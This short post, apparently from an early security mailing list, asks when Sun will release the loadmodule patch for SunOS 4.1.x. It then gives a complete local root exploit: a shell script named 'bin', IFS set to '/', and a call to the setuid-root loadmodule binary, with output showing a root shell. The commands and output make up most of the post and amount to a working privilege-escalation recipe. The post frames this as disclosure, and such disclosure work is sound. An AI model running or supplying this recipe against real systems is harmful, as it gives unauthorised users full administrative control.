What I am wondering, is how long it will be before Sun officially releases the sun4 patch for SunOS 4.1.x loadmodule (100448-02)? I thought the patch was going to be released yesterday? Here is yet another `how-to' example about the importance of IFS in setuid root programs. %cat >~/bin/bin #!/bin/sh sh -i ^D %chmod 755 ~/bin/bin %setenv IFS / %cd ~/bin %/usr/openwin/bin/loadmodule /sys/sun4c/OBJ/evqmod-sun4c.o /etc/openwin/modules/evqload # whoami root
